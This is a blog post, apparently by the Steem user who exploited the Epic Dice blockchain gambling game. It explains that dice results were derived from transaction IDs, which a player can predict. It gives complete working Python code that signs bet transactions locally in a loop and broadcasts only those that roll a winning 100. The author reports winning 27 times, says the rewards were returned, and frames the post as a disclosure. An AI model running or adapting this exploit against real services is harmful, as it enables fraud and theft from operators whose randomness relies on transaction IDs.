This is direct follow-up and process explanation of Epic Dice shut down, started by 
*Decentralization, absolute transparency and fairness are very good ideas. As long as they are done properly.
Every dice result was calculated by Transaction ID of the bet (payment). 
In the process of block signing, various information of a particular transaction like ref_block_num, ref_block_prefix, expiration and so on, contributed in the generation of a fully random 40 hex digits trx_id
Random number is generated solely using blockchain-generated transaction ID that is impossible for the house to mess with
They say.
The truth is that Transaction ID is 40 hex string cut from SHA-256 checksum of raw transaction.
Everything what is needed is to prepare custom transaction locally, verify it's 40-cut hash with Epic Dice playcode and broadcast if matches our bet.
Steps:
from beem import Steem
from beem.transactionbuilder import TransactionBuilder
from beembase import operations
# EpicDice fairness formula taken from epicdice.io
def playcode(trx_id):
result = 1000000
offset = 0
length = 5
endValue = offset + length
chop = ''
finalResult = ''
while result > 999999:
chop = trx_id[offset:endValue]
offset += 5
endValue = offset + length
result = int(chop, 16)
finalResult = result % (10000) / 100
finalResult = int(round(finalResult, 0))
if finalResult == 0:
result = 1000000
return finalResult
s = Steem(keys=[ACTIVE_MYS])
# prepare custom transaction
op = operations.Transfer({
'from': 'mys',
'to': 'epicdice',
'amount': "1.020 STEEM",
'memo': "Above 99"})
# in a loop: sign transaction locally and then
# if transaction id rolls 100, broadcast it to the network
while True:
tb = TransactionBuilder(steem_instance=s)
tb.appendOps([op])
tb.appendWif(ACTIVE_MYS)
tb.constructTx()
tx = tb.sign(reconstruct_tx=False)
roll = playcode(tx.id)
if roll == 100:
tb.broadcast()
Transaction building and signing takes ~0.5s on average home PC. Assuming we try to hit 100 roll, we should get a match every ~8min. Just broadcast prepared transaction.
I was able to bet 27 times until
@epicdice code had no security nor programming flaw. It is just improper design or unawareness of things.
@mysia as a light witness for Steem education purposes. However it wasn't involved in above game.
@mys actored here.I have returned all of the rewards to be completely fair with the Dice.
Below is their official statement about whole situation:
https://steemit.com/epicdice/@epicdice/epicdice-is-compromised